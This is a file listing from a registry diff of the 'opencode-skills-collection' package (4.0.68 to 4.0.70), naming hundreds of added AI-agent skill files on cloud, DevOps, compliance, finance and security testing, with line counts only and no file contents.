opencode-skills-collection 4.0.68 → 4.0.70
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bundled-skills/.antigravity-install-manifest.json +304 -1
- package/bundled-skills/access-review/SKILL.md +394 -0
- package/bundled-skills/access-review/references/details.md +121 -0
- package/bundled-skills/agent-evals/SKILL.md +420 -0
- package/bundled-skills/agent-observability/SKILL.md +346 -0
- package/bundled-skills/agent-observability/references/details.md +786 -0
- package/bundled-skills/ai-agent-security/SKILL.md +393 -0
- package/bundled-skills/ai-agent-security/references/details.md +912 -0
- package/bundled-skills/ai-coding-agent-guardrails/SKILL.md +442 -0
- package/bundled-skills/ai-coding-agent-guardrails/references/details.md +753 -0
- package/bundled-skills/ai-inference-service-mesh/SKILL.md +449 -0
- package/bundled-skills/ai-pipeline-orchestration/SKILL.md +287 -0
- package/bundled-skills/ai-red-teaming/SKILL.md +409 -0
- package/bundled-skills/ai-security-hardening/SKILL.md +343 -0
- package/bundled-skills/ai-sre-incident-response/SKILL.md +336 -0
- package/bundled-skills/alerting-oncall/SKILL.md +458 -0
- package/bundled-skills/alerting-oncall/references/details.md +84 -0
- package/bundled-skills/api-integration-architect/SKILL.md +241 -0
- package/bundled-skills/apify-generate-output-schema/SKILL.md +438 -0
- package/bundled-skills/apify-integration-development/SKILL.md +168 -0
- package/bundled-skills/apify-integration-development/references/ai-framework-package.md +158 -0
- package/bundled-skills/apify-integration-development/references/ai-harness-plugin.md +192 -0
- package/bundled-skills/apify-integration-development/references/sdk-integration.md +236 -0
- package/bundled-skills/apify-integration-development/references/workflow-automation.md +163 -0
- package/bundled-skills/apk-redteam-pipeline/SKILL.md +446 -0
- package/bundled-skills/architecture-review/README.md +42 -0
- package/bundled-skills/architecture-review/SKILL.md +77 -0
- package/bundled-skills/architecture-review/examples.md +11 -0
- package/bundled-skills/architecture-review/reference/best-practices.md +7 -0
- package/bundled-skills/architecture-review/reference/capabilities.md +20 -0
- package/bundled-skills/architecture-review/reference/fallbacks.md +11 -0
- package/bundled-skills/architecture-review/reference/graph.md +15 -0
- package/bundled-skills/architecture-review/reference/mcp.md +14 -0
- package/bundled-skills/architecture-review/reference/workflow.md +15 -0
- package/bundled-skills/architecture-review/templates/architecture-review.md +21 -0
- package/bundled-skills/argocd-gitops/SKILL.md +469 -0
- package/bundled-skills/arm-templates/SKILL.md +438 -0
- package/bundled-skills/arm-templates/references/details.md +64 -0
- package/bundled-skills/asset-inventory/SKILL.md +412 -0
- package/bundled-skills/asset-inventory/references/details.md +127 -0
- package/bundled-skills/audit-logging/SKILL.md +476 -0
- package/bundled-skills/aws-cloudtrail/SKILL.md +486 -0
- package/bundled-skills/aws-cost-optimization/SKILL.md +331 -0
- package/bundled-skills/aws-ec2/SKILL.md +426 -0
- package/bundled-skills/aws-ecs-fargate/SKILL.md +388 -0
- package/bundled-skills/aws-iam/SKILL.md +463 -0
- package/bundled-skills/aws-lambda/SKILL.md +428 -0
- package/bundled-skills/aws-rds/SKILL.md +380 -0
- package/bundled-skills/aws-s3/SKILL.md +434 -0
- package/bundled-skills/aws-secrets-manager/SKILL.md +486 -0
- package/bundled-skills/aws-vpc/SKILL.md +436 -0
- package/bundled-skills/azure-ai-document-intelligence-ts/SKILL.md +1 -1
- package/bundled-skills/azure-aks/SKILL.md +423 -0
- package/bundled-skills/azure-devops/SKILL.md +457 -0
- package/bundled-skills/azure-functions-devsec/SKILL.md +436 -0
- package/bundled-skills/azure-keyvault/SKILL.md +455 -0
- package/bundled-skills/azure-keyvault/references/details.md +83 -0
- package/bundled-skills/azure-monitor-audit/SKILL.md +379 -0
- package/bundled-skills/azure-networking/SKILL.md +448 -0
- package/bundled-skills/azure-networking/references/details.md +135 -0
- package/bundled-skills/azure-sql/SKILL.md +413 -0
- package/bundled-skills/azure-sql/references/details.md +113 -0
- package/bundled-skills/azure-vms/SKILL.md +402 -0
- package/bundled-skills/azure-vms/references/details.md +134 -0
- package/bundled-skills/backup-recovery/SKILL.md +388 -0
- package/bundled-skills/bb-methodology/SKILL.md +451 -0
- package/bundled-skills/bb-methodology/references/details.md +120 -0
- package/bundled-skills/block-storage/SKILL.md +371 -0
- package/bundled-skills/blue-green-deploy/SKILL.md +453 -0
- package/bundled-skills/blue-green-deploy/references/details.md +90 -0
- package/bundled-skills/bug-bounty/SKILL.md +447 -0
- package/bundled-skills/bug-bounty/references/details.md +1316 -0
- package/bundled-skills/bugcrowd-reporting/SKILL.md +351 -0
- package/bundled-skills/business-continuity/SKILL.md +463 -0
- package/bundled-skills/career-ops/SKILL.md +186 -0
- package/bundled-skills/cdn-setup/SKILL.md +374 -0
- package/bundled-skills/change-management/SKILL.md +438 -0
- package/bundled-skills/change-management/references/details.md +105 -0
- package/bundled-skills/circleci/SKILL.md +475 -0
- package/bundled-skills/cis-benchmarks/SKILL.md +150 -0
- package/bundled-skills/cloudflare-pages/SKILL.md +318 -0
- package/bundled-skills/cloudflare-r2/SKILL.md +353 -0
- package/bundled-skills/cloudflare-workers/SKILL.md +415 -0
- package/bundled-skills/cloudflare-zero-trust/SKILL.md +361 -0
- package/bundled-skills/cloudformation/SKILL.md +461 -0
- package/bundled-skills/code-review-sensei/SKILL.md +177 -0
- package/bundled-skills/codebase-onboarding/README.md +42 -0
- package/bundled-skills/codebase-onboarding/SKILL.md +77 -0
- package/bundled-skills/codebase-onboarding/examples.md +11 -0
- package/bundled-skills/codebase-onboarding/reference/best-practices.md +7 -0
- package/bundled-skills/codebase-onboarding/reference/capabilities.md +20 -0
- package/bundled-skills/codebase-onboarding/reference/fallbacks.md +11 -0
- package/bundled-skills/codebase-onboarding/reference/graph.md +15 -0
- package/bundled-skills/codebase-onboarding/reference/mcp.md +14 -0
- package/bundled-skills/codebase-onboarding/reference/workflow.md +15 -0
- package/bundled-skills/codebase-onboarding/templates/repository-onboarding.md +21 -0
- package/bundled-skills/connection-auth-rules/SKILL.md +199 -0
- package/bundled-skills/connection-auth-rules/fetch_schema.py +320 -0
- package/bundled-skills/constraint-driven-development/SKILL.md +335 -0
- package/bundled-skills/constraint-driven-development/references/floor-guard.md +99 -0
- package/bundled-skills/container-hardening/SKILL.md +126 -0
- package/bundled-skills/container-registries/SKILL.md +435 -0
- package/bundled-skills/container-scanning/SKILL.md +416 -0
- package/bundled-skills/convex-backend/SKILL.md +338 -0
- package/bundled-skills/dast-scanning/SKILL.md +437 -0
- package/bundled-skills/database-backups/SKILL.md +425 -0
- package/bundled-skills/datadog/SKILL.md +487 -0
- package/bundled-skills/dependency-analysis/README.md +42 -0
- package/bundled-skills/dependency-analysis/SKILL.md +76 -0
- package/bundled-skills/dependency-analysis/examples.md +11 -0
- package/bundled-skills/dependency-analysis/reference/best-practices.md +7 -0
- package/bundled-skills/dependency-analysis/reference/capabilities.md +20 -0
- package/bundled-skills/dependency-analysis/reference/fallbacks.md +11 -0
- package/bundled-skills/dependency-analysis/reference/graph.md +15 -0
- package/bundled-skills/dependency-analysis/reference/mcp.md +14 -0
- package/bundled-skills/dependency-analysis/reference/workflow.md +15 -0
- package/bundled-skills/dependency-analysis/templates/dependency-review.md +21 -0
- package/bundled-skills/dependency-scanning/SKILL.md +457 -0
- package/bundled-skills/devcontainers-nix/SKILL.md +416 -0
- package/bundled-skills/devops-pipeline-builder/SKILL.md +200 -0
- package/bundled-skills/disaster-recovery/SKILL.md +374 -0
- package/bundled-skills/disaster-recovery/references/details.md +219 -0
- package/bundled-skills/dns-management/SKILL.md +375 -0
- package/bundled-skills/docker-compose/SKILL.md +482 -0
- package/bundled-skills/docker-management/SKILL.md +426 -0
- package/bundled-skills/eas-app-stores/SKILL.md +197 -0
- package/bundled-skills/eas-app-stores/agents/openai.yaml +4 -0
- package/bundled-skills/eas-app-stores/references/app-store-metadata.md +497 -0
- package/bundled-skills/eas-app-stores/references/ios-app-store.md +376 -0
- package/bundled-skills/eas-app-stores/references/native-ios.md +167 -0
- package/bundled-skills/eas-app-stores/references/play-store.md +244 -0
- package/bundled-skills/eas-app-stores/references/testflight.md +62 -0
- package/bundled-skills/eas-app-stores/references/workflows.md +120 -0
- package/bundled-skills/eas-hosting/SKILL.md +448 -0
- package/bundled-skills/eas-hosting/agents/openai.yaml +4 -0
- package/bundled-skills/eas-observe/SKILL.md +75 -0
- package/bundled-skills/eas-observe/agents/openai.yaml +4 -0
- package/bundled-skills/eas-observe/references/metrics.md +98 -0
- package/bundled-skills/eas-observe/references/queries.md +403 -0
- package/bundled-skills/eas-observe/references/setup.md +476 -0
- package/bundled-skills/eas-observe/references/third-party.md +136 -0
- package/bundled-skills/eas-simulator/SKILL.md +251 -0
- package/bundled-skills/eas-simulator/agents/openai.yaml +4 -0
- package/bundled-skills/eas-simulator/references/controllers.md +135 -0
- package/bundled-skills/eas-simulator/references/run-your-app.md +240 -0
- package/bundled-skills/eas-simulator/references/troubleshooting.md +47 -0
- package/bundled-skills/eas-workflows/SKILL.md +119 -0
- package/bundled-skills/eas-workflows/agents/openai.yaml +4 -0
- package/bundled-skills/eas-workflows/scripts/fetch.js +109 -0
- package/bundled-skills/ebpf-observability/SKILL.md +436 -0
- package/bundled-skills/ebpf-observability/references/details.md +542 -0
- package/bundled-skills/elk-stack/SKILL.md +487 -0
- package/bundled-skills/enterprise-vpn-attack/SKILL.md +395 -0
- package/bundled-skills/evidence-hygiene/SKILL.md +404 -0
- package/bundled-skills/expo-animation/LICENSE +21 -0
- package/bundled-skills/expo-animation/RECIPES.md +385 -0
- package/bundled-skills/expo-animation/SKILL.md +295 -0
- package/bundled-skills/expo-animation/agents/openai.yaml +4 -0
- package/bundled-skills/fact-check-x-unified/SKILL.md +178 -0
- package/bundled-skills/fact-check-x-unified/agents/openai.yaml +4 -0
- package/bundled-skills/fact-check-x-unified/references/acceptance-criteria.md +44 -0
- package/bundled-skills/fact-check-x-unified/references/contracts.md +39 -0
- package/bundled-skills/fact-check-x-unified/scripts/common.py +31 -0
- package/bundled-skills/fact-check-x-unified/scripts/fact_check_x.py +1832 -0
- package/bundled-skills/fact-check-x-unified/scripts/trusted_search_config.py +324 -0
- package/bundled-skills/fact-check-x-unified/tests/anchor_downgrade_test.py +90 -0
- package/bundled-skills/fact-check-x-unified/tests/multi_platform_test.py +369 -0
- package/bundled-skills/fact-check-x-unified/tests/smoke_test.py +740 -0
- package/bundled-skills/fact-check-x-unified/tests/stage_checkpoint_test.py +103 -0
- package/bundled-skills/fact-check-x-unified/tests/trusted_search_config_test.py +156 -0
- package/bundled-skills/feature-flags/SKILL.md +426 -0
- package/bundled-skills/feature-flags/references/details.md +86 -0
- package/bundled-skills/fedramp-compliance/SKILL.md +453 -0
- package/bundled-skills/firebase-app-platform/SKILL.md +381 -0
- package/bundled-skills/firewall-config/SKILL.md +479 -0
- package/bundled-skills/gcp-audit-logs/SKILL.md +452 -0
- package/bundled-skills/gcp-audit-logs/references/details.md +56 -0
- package/bundled-skills/gcp-cloud-functions/SKILL.md +284 -0
- package/bundled-skills/gcp-cloud-sql/SKILL.md +277 -0
- package/bundled-skills/gcp-compute/SKILL.md +319 -0
- package/bundled-skills/gcp-gke/SKILL.md +307 -0
- package/bundled-skills/gcp-networking/SKILL.md +293 -0
- package/bundled-skills/gcp-secret-manager/SKILL.md +421 -0
- package/bundled-skills/gcp-secret-manager/references/details.md +131 -0
- package/bundled-skills/gdpr-compliance/SKILL.md +451 -0
- package/bundled-skills/gdpr-compliance/references/details.md +145 -0
- package/bundled-skills/geo-audit/SKILL.md +368 -0
- package/bundled-skills/geo-brand-mentions/SKILL.md +68 -0
- package/bundled-skills/geo-brand-mentions/references/details.md +471 -0
- package/bundled-skills/geo-citability/SKILL.md +350 -0
- package/bundled-skills/geo-compare/SKILL.md +340 -0
- package/bundled-skills/geo-content/SKILL.md +383 -0
- package/bundled-skills/geo-crawlers/SKILL.md +408 -0
- package/bundled-skills/geo-llmstxt/SKILL.md +464 -0
- package/bundled-skills/geo-platform-optimizer/SKILL.md +314 -0
- package/bundled-skills/geo-proposal/SKILL.md +378 -0
- package/bundled-skills/geo-prospect/SKILL.md +225 -0
- package/bundled-skills/geo-report/SKILL.md +436 -0
- package/bundled-skills/geo-report-pdf/SKILL.md +157 -0
- package/bundled-skills/geo-schema/SKILL.md +408 -0
- package/bundled-skills/geo-technical/SKILL.md +78 -0
- package/bundled-skills/geo-technical/references/details.md +543 -0
- package/bundled-skills/git-workflow/SKILL.md +460 -0
- package/bundled-skills/github-actions/SKILL.md +368 -0
- package/bundled-skills/gitlab-ci/SKILL.md +340 -0
- package/bundled-skills/gpt-taste/SKILL.md +8 -1
- package/bundled-skills/gpu-kubernetes-operations/SKILL.md +468 -0
- package/bundled-skills/gpu-server-management/SKILL.md +236 -0
- package/bundled-skills/hashicorp-vault/SKILL.md +408 -0
- package/bundled-skills/helm-charts/SKILL.md +469 -0
- package/bundled-skills/hf-cli/SKILL.md +263 -0
- package/bundled-skills/hipaa-compliance/SKILL.md +451 -0
- package/bundled-skills/huggingface-community-evals/SKILL.md +228 -0
- package/bundled-skills/huggingface-community-evals/examples/.env.example +3 -0
- package/bundled-skills/huggingface-community-evals/examples/USAGE_EXAMPLES.md +101 -0
- package/bundled-skills/huggingface-community-evals/scripts/inspect_eval_uv.py +104 -0
- package/bundled-skills/huggingface-community-evals/scripts/inspect_vllm_uv.py +306 -0
- package/bundled-skills/huggingface-community-evals/scripts/lighteval_vllm_uv.py +297 -0
- package/bundled-skills/huggingface-datasets/SKILL.md +130 -0
- package/bundled-skills/hunt-aspnet/SKILL.md +321 -0
- package/bundled-skills/hunt-ato/SKILL.md +184 -0
- package/bundled-skills/hunt-auth-bypass/SKILL.md +426 -0
- package/bundled-skills/hunt-auth-bypass/references/details.md +80 -0
- package/bundled-skills/hunt-brute-force/SKILL.md +341 -0
- package/bundled-skills/hunt-business-logic/SKILL.md +281 -0
- package/bundled-skills/hunt-cache-poison/SKILL.md +382 -0
- package/bundled-skills/hunt-captcha-bypass/SKILL.md +136 -0
- package/bundled-skills/hunt-cicd/SKILL.md +311 -0
- package/bundled-skills/hunt-clickjacking/SKILL.md +110 -0
- package/bundled-skills/hunt-cors/SKILL.md +335 -0
- package/bundled-skills/hunt-dom/SKILL.md +323 -0
- package/bundled-skills/hunt-exceptional-conditions/SKILL.md +111 -0
- package/bundled-skills/hunt-file-upload/SKILL.md +202 -0
- package/bundled-skills/hunt-fintech-graphql/SKILL.md +289 -0
- package/bundled-skills/hunt-forgot-password/SKILL.md +114 -0
- package/bundled-skills/hunt-grpc/SKILL.md +317 -0
- package/bundled-skills/hunt-host-header/SKILL.md +309 -0
- package/bundled-skills/hunt-html-injection/SKILL.md +106 -0
- package/bundled-skills/hunt-http-smuggling/SKILL.md +129 -0
- package/bundled-skills/hunt-http-smuggling/references/phase2h-smuggling-cachepoison.md +177 -0
- package/bundled-skills/hunt-idor/SKILL.md +434 -0
- package/bundled-skills/hunt-jwt-crypto/SKILL.md +221 -0
- package/bundled-skills/hunt-k8s/SKILL.md +337 -0
- package/bundled-skills/hunt-laravel/SKILL.md +255 -0
- package/bundled-skills/hunt-ldap/SKILL.md +351 -0
- package/bundled-skills/hunt-lfi/SKILL.md +311 -0
- package/bundled-skills/hunt-llm-ai/SKILL.md +289 -0
- package/bundled-skills/hunt-mfa-bypass/SKILL.md +177 -0
- package/bundled-skills/hunt-misc/SKILL.md +378 -0
- package/bundled-skills/hunt-nextjs/SKILL.md +299 -0
- package/bundled-skills/hunt-nodejs/SKILL.md +263 -0
- package/bundled-skills/hunt-nosqli/SKILL.md +210 -0
- package/bundled-skills/hunt-ntlm-info/SKILL.md +314 -0
- package/bundled-skills/hunt-oauth/SKILL.md +459 -0
- package/bundled-skills/hunt-open-redirect/SKILL.md +223 -0
- package/bundled-skills/hunt-race-condition/SKILL.md +381 -0
- package/bundled-skills/hunt-race-condition/references/details.md +159 -0
- package/bundled-skills/hunt-rag-vector/SKILL.md +212 -0
- package/bundled-skills/hunt-rce/SKILL.md +444 -0
- package/bundled-skills/hunt-rce/references/details.md +110 -0
- package/bundled-skills/hunt-saml/SKILL.md +156 -0
- package/bundled-skills/hunt-session/SKILL.md +342 -0
- package/bundled-skills/hunt-shadow-api/SKILL.md +198 -0
- package/bundled-skills/hunt-source-leak/SKILL.md +345 -0
- package/bundled-skills/hunt-spa-api/SKILL.md +163 -0
- package/bundled-skills/hunt-springboot/SKILL.md +285 -0
- package/bundled-skills/hunt-sqli/SKILL.md +466 -0
- package/bundled-skills/hunt-ssrf/SKILL.md +396 -0
- package/bundled-skills/hunt-ssrf/references/details.md +179 -0
- package/bundled-skills/hunt-ssti/SKILL.md +163 -0
- package/bundled-skills/hunt-subdomain/SKILL.md +379 -0
- package/bundled-skills/hunt-tls-network/SKILL.md +399 -0
- package/bundled-skills/hunt-xxe/SKILL.md +466 -0
- package/bundled-skills/i-have-adhd/SKILL.md +170 -0
- package/bundled-skills/identity-access-management/SKILL.md +382 -0
- package/bundled-skills/identity-access-management/references/details.md +524 -0
- package/bundled-skills/incident-management/SKILL.md +484 -0
- package/bundled-skills/incident-response/SKILL.md +448 -0
- package/bundled-skills/incident-response/references/details.md +113 -0
- package/bundled-skills/interview-me/SKILL.md +248 -0
- package/bundled-skills/iso27001-compliance/SKILL.md +460 -0
- package/bundled-skills/jenkins/SKILL.md +462 -0
- package/bundled-skills/jev-social/SKILL.md +182 -0
- package/bundled-skills/jev-use/SKILL.md +158 -0
- package/bundled-skills/kubernetes-hardening/SKILL.md +154 -0
- package/bundled-skills/kubernetes-ops/SKILL.md +449 -0
- package/bundled-skills/kubernetes-ops/references/details.md +108 -0
- package/bundled-skills/kustomize/SKILL.md +478 -0
- package/bundled-skills/linux-administration/SKILL.md +367 -0
- package/bundled-skills/linux-hardening/SKILL.md +154 -0
- package/bundled-skills/llm-app-security/SKILL.md +389 -0
- package/bundled-skills/llm-app-security/references/details.md +674 -0
- package/bundled-skills/llm-caching/SKILL.md +334 -0
- package/bundled-skills/llm-cost-optimization/SKILL.md +311 -0
- package/bundled-skills/llm-fine-tuning/SKILL.md +329 -0
- package/bundled-skills/llm-gateway/SKILL.md +282 -0
- package/bundled-skills/llm-inference-scaling/SKILL.md +286 -0
- package/bundled-skills/llmops-platform-engineering/SKILL.md +472 -0
- package/bundled-skills/load-balancing/SKILL.md +403 -0
- package/bundled-skills/loki-logging/SKILL.md +479 -0
- package/bundled-skills/longbridge-derivatives/SKILL.md +117 -0
- package/bundled-skills/longbridge-derivatives/references/option.md +36 -0
- package/bundled-skills/longbridge-derivatives/references/options-advanced.md +101 -0
- package/bundled-skills/longbridge-derivatives/references/options-pnl.md +74 -0
- package/bundled-skills/longbridge-derivatives/references/options-strategy.md +82 -0
- package/bundled-skills/longbridge-derivatives/references/options-volatility.md +70 -0
- package/bundled-skills/longbridge-derivatives/references/warrant.md +12 -0
- package/bundled-skills/longbridge-quant/SKILL.md +151 -0
- package/bundled-skills/longbridge-quant/references/correlation.md +51 -0
- package/bundled-skills/longbridge-quant/references/execution-model.md +68 -0
- package/bundled-skills/longbridge-quant/references/factor-research.md +95 -0
- package/bundled-skills/longbridge-quant/references/factor-screen.md +101 -0
- package/bundled-skills/longbridge-quant/references/hedging.md +136 -0
- package/bundled-skills/longbridge-quant/references/ml-strategy.md +77 -0
- package/bundled-skills/longbridge-quant/references/multifactor.md +68 -0
- package/bundled-skills/longbridge-quant/references/pairs-trading.md +61 -0
- package/bundled-skills/longbridge-quant/references/quant-cli.md +133 -0
- package/bundled-skills/longbridge-quant/references/quant-stats.md +150 -0
- package/bundled-skills/longbridge-quant/references/seasonality.md +50 -0
- package/bundled-skills/longbridge-quant/references/strategy-optimizer.md +68 -0
- package/bundled-skills/longbridge-quant/references/volatility-strategy.md +52 -0
- package/bundled-skills/longbridge-research/SKILL.md +187 -0
- package/bundled-skills/longbridge-research/references/company-profile.md +96 -0
- package/bundled-skills/longbridge-research/references/company-tearsheet.md +82 -0
- package/bundled-skills/longbridge-research/references/competitive-analysis.md +81 -0
- package/bundled-skills/longbridge-research/references/consensus.md +92 -0
- package/bundled-skills/longbridge-research/references/coverage-initiation.md +76 -0
- package/bundled-skills/longbridge-research/references/defi-yield.md +60 -0
- package/bundled-skills/longbridge-research/references/finance-calendar.md +165 -0
- package/bundled-skills/longbridge-research/references/financial-planning.md +77 -0
- package/bundled-skills/longbridge-research/references/forecast-eps.md +39 -0
- package/bundled-skills/longbridge-research/references/fund-holder.md +44 -0
- package/bundled-skills/longbridge-research/references/hkipo-analysis.md +101 -0
- package/bundled-skills/longbridge-research/references/industry-peers.md +46 -0
- package/bundled-skills/longbridge-research/references/industry-rank.md +62 -0
- package/bundled-skills/longbridge-research/references/insider-trades.md +48 -0
- package/bundled-skills/longbridge-research/references/institution-rating.md +62 -0
- package/bundled-skills/longbridge-research/references/investment-ideas.md +69 -0
- package/bundled-skills/longbridge-research/references/investment-proposal.md +95 -0
- package/bundled-skills/longbridge-research/references/investors.md +87 -0
- package/bundled-skills/longbridge-research/references/onchain.md +70 -0
- package/bundled-skills/longbridge-research/references/post-investment.md +76 -0
- package/bundled-skills/longbridge-research/references/shareholder.md +72 -0
- package/bundled-skills/longbridge-research/references/short-positions.md +50 -0
- package/bundled-skills/longbridge-research/references/short-trades.md +50 -0
- package/bundled-skills/longbridge-research/references/stock-research.md +61 -0
- package/bundled-skills/longbridge-research/references/thesis-tracker.md +64 -0
- package/bundled-skills/m365-entra-attack/SKILL.md +423 -0
- package/bundled-skills/mac-mini-llm-lab/SKILL.md +350 -0
- package/bundled-skills/makepad-2-0-animation/SKILL.md +318 -0
- package/bundled-skills/makepad-2-0-animation/references/animator-reference.md +433 -0
- package/bundled-skills/makepad-2-0-dsl/SKILL.md +492 -0
- package/bundled-skills/makepad-2-0-dsl/references/dsl-syntax-reference.md +511 -0
- package/bundled-skills/makepad-2-0-dsl/references/extended-guide.md +56 -0
- package/bundled-skills/makepad-2-0-dsl/references/property-system.md +757 -0
- package/bundled-skills/makepad-2-0-events/SKILL.md +497 -0
- package/bundled-skills/makepad-2-0-events/references/event-patterns.md +802 -0
- package/bundled-skills/makepad-2-0-events/references/extended-guide.md +590 -0
- package/bundled-skills/makepad-2-0-layout/SKILL.md +499 -0
- package/bundled-skills/makepad-2-0-layout/references/extended-guide.md +243 -0
- package/bundled-skills/makepad-2-0-layout/references/layout-patterns.md +881 -0
- package/bundled-skills/makepad-2-0-widgets/SKILL.md +261 -0
- package/bundled-skills/makepad-2-0-widgets/references/widget-advanced.md +648 -0
- package/bundled-skills/makepad-2-0-widgets/references/widget-catalog.md +547 -0
- package/bundled-skills/mcp-server-security/SKILL.md +356 -0
- package/bundled-skills/mcp-server-security/references/details.md +745 -0
- package/bundled-skills/mdm-device-management/SKILL.md +404 -0
- package/bundled-skills/mdm-device-management/references/details.md +410 -0
- package/bundled-skills/meeting-distiller-pro/SKILL.md +120 -0
- package/bundled-skills/meme-coin-audit/SKILL.md +402 -0
- package/bundled-skills/mid-engagement-ir-detection/SKILL.md +377 -0
- package/bundled-skills/model-registry-governance/SKILL.md +452 -0
- package/bundled-skills/model-serving-kubernetes/SKILL.md +339 -0
- package/bundled-skills/model-supply-chain-security/SKILL.md +427 -0
- package/bundled-skills/mongodb/SKILL.md +436 -0
- package/bundled-skills/monte-carlo-analyze-root-cause/SKILL.md +12 -1
- package/bundled-skills/monte-carlo-asset-health/SKILL.md +12 -1
- package/bundled-skills/monte-carlo-context-detection/SKILL.md +170 -0
- package/bundled-skills/monte-carlo-context-detection/references/signal-definitions.md +46 -0
- package/bundled-skills/multi-tenant-llm-hosting/SKILL.md +435 -0
- package/bundled-skills/multi-tenant-llm-hosting/references/details.md +211 -0
- package/bundled-skills/mysql/SKILL.md +390 -0
- package/bundled-skills/new-relic/SKILL.md +472 -0
- package/bundled-skills/nfs-storage/SKILL.md +356 -0
- package/bundled-skills/object-storage/SKILL.md +378 -0
- package/bundled-skills/offensive-osint/SKILL.md +443 -0
- package/bundled-skills/okta-attack/SKILL.md +436 -0
- package/bundled-skills/ollama-stack/SKILL.md +379 -0
- package/bundled-skills/openclaw-deployment-hardening/SKILL.md +135 -0
- package/bundled-skills/openclaw-local-mac-mini/SKILL.md +426 -0
- package/bundled-skills/openclaw-local-mac-mini/references/details.md +221 -0
- package/bundled-skills/openclaw-security-hardening/SKILL.md +135 -0
- package/bundled-skills/openshift/SKILL.md +485 -0
- package/bundled-skills/opentelemetry/SKILL.md +438 -0
- package/bundled-skills/opentelemetry/references/details.md +78 -0
- package/bundled-skills/opentofu-migration/SKILL.md +349 -0
- package/bundled-skills/osint-methodology/SKILL.md +460 -0
- package/bundled-skills/osint-methodology/references/details.md +1350 -0
- package/bundled-skills/pci-dss-compliance/SKILL.md +446 -0
- package/bundled-skills/penetration-testing/SKILL.md +152 -0
- package/bundled-skills/performance-tuning/SKILL.md +381 -0
- package/bundled-skills/planetscale/SKILL.md +297 -0
- package/bundled-skills/platform-engineering/SKILL.md +348 -0
- package/bundled-skills/platform-engineering/references/details.md +944 -0
- package/bundled-skills/podman/SKILL.md +405 -0
- package/bundled-skills/policy-as-code/SKILL.md +434 -0
- package/bundled-skills/policy-as-code/references/details.md +204 -0
- package/bundled-skills/postgresql-devsec/SKILL.md +378 -0
- package/bundled-skills/prometheus-grafana/SKILL.md +469 -0
- package/bundled-skills/prompt-injection-defense/SKILL.md +483 -0
- package/bundled-skills/rag-infrastructure/SKILL.md +269 -0
- package/bundled-skills/rag-observability-evals/SKILL.md +444 -0
- package/bundled-skills/rag-observability-evals/references/details.md +92 -0
- package/bundled-skills/recon-scope-triage/SKILL.md +128 -0
- package/bundled-skills/redis/SKILL.md +421 -0
- package/bundled-skills/redteam-report-template/SKILL.md +370 -0
- package/bundled-skills/remotion-captions/SKILL.md +57 -0
- package/bundled-skills/remotion-captions/agents/openai.yaml +7 -0
- package/bundled-skills/remotion-captions/assets/remotion-icon.svg +4 -0
- package/bundled-skills/remotion-captions/display-captions.md +190 -0
- package/bundled-skills/remotion-captions/import-srt-captions.md +73 -0
- package/bundled-skills/remotion-captions/transcribe-captions.md +70 -0
- package/bundled-skills/remotion-create/SKILL.md +106 -0
- package/bundled-skills/remotion-create/agents/openai.yaml +7 -0
- package/bundled-skills/remotion-create/assets/remotion-icon.svg +4 -0
- package/bundled-skills/remotion-create/tailwind.md +11 -0
- package/bundled-skills/remotion-create/video-layout.md +9 -0
- package/bundled-skills/remotion-docs/SKILL.md +67 -0
- package/bundled-skills/remotion-docs/agents/openai.yaml +7 -0
- package/bundled-skills/remotion-docs/assets/remotion-icon.svg +4 -0
- package/bundled-skills/remotion-interactivity/SKILL.md +270 -0
- package/bundled-skills/remotion-interactivity/agents/openai.yaml +7 -0
- package/bundled-skills/remotion-interactivity/assets/remotion-icon.svg +4 -0
- package/bundled-skills/remotion-render/SKILL.md +48 -0
- package/bundled-skills/remotion-render/agents/openai.yaml +7 -0
- package/bundled-skills/remotion-render/assets/remotion-icon.svg +4 -0
- package/bundled-skills/remotion-render/transparent-videos.md +106 -0
- package/bundled-skills/report-writing/SKILL.md +426 -0
- package/bundled-skills/report-writing/references/details.md +187 -0
- package/bundled-skills/reverse-proxy/SKILL.md +420 -0
- package/bundled-skills/runbook-creation/SKILL.md +438 -0
- package/bundled-skills/runbook-creation/references/details.md +71 -0
- package/bundled-skills/saas-pricing-strategist/SKILL.md +169 -0
- package/bundled-skills/saas-security-posture/SKILL.md +415 -0
- package/bundled-skills/sast-scanning/SKILL.md +444 -0
- package/bundled-skills/sbom-supply-chain/SKILL.md +433 -0
- package/bundled-skills/score-eval/SKILL.md +35 -0
- package/bundled-skills/security-arsenal/SKILL.md +446 -0
- package/bundled-skills/security-arsenal/references/details.md +540 -0
- package/bundled-skills/security-automation/SKILL.md +146 -0
- package/bundled-skills/semantic-versioning/SKILL.md +434 -0
- package/bundled-skills/semantic-versioning/references/details.md +83 -0
- package/bundled-skills/service-mesh/SKILL.md +422 -0
- package/bundled-skills/soc2-compliance/SKILL.md +409 -0
- package/bundled-skills/sops-encryption/SKILL.md +124 -0
- package/bundled-skills/sre-dashboards/SKILL.md +143 -0
- package/bundled-skills/ssh-configuration/SKILL.md +324 -0
- package/bundled-skills/ssl-tls-management/SKILL.md +428 -0
- package/bundled-skills/ssl-tls-management/references/details.md +99 -0
- package/bundled-skills/startup-it-troubleshooting/SKILL.md +415 -0
- package/bundled-skills/supply-chain-attack-recon/SKILL.md +453 -0
- package/bundled-skills/supply-chain-attack-recon/references/details.md +258 -0
- package/bundled-skills/systemd-services/SKILL.md +379 -0
- package/bundled-skills/terraform-aws/SKILL.md +125 -0
- package/bundled-skills/terraform-azure/SKILL.md +415 -0
- package/bundled-skills/terraform-azure/references/details.md +231 -0
- package/bundled-skills/terraform-gcp/SKILL.md +369 -0
- package/bundled-skills/threat-modeling/SKILL.md +487 -0
- package/bundled-skills/user-management/SKILL.md +383 -0
- package/bundled-skills/using-agent-skills/SKILL.md +220 -0
- package/bundled-skills/vector-database-ops/SKILL.md +300 -0
- package/bundled-skills/vendor-management/SKILL.md +439 -0
- package/bundled-skills/vendor-management/references/details.md +109 -0
- package/bundled-skills/vercel-deployments/SKILL.md +296 -0
- package/bundled-skills/vllm-server/SKILL.md +236 -0
- package/bundled-skills/vmware-vcenter-attack/SKILL.md +412 -0
- package/bundled-skills/vpn-setup/SKILL.md +452 -0
- package/bundled-skills/vulnerability-scanning/SKILL.md +448 -0
- package/bundled-skills/waf-setup/SKILL.md +354 -0
- package/bundled-skills/waf-setup/references/details.md +211 -0
- package/bundled-skills/web2-recon/SKILL.md +440 -0
- package/bundled-skills/web2-recon/references/details.md +319 -0
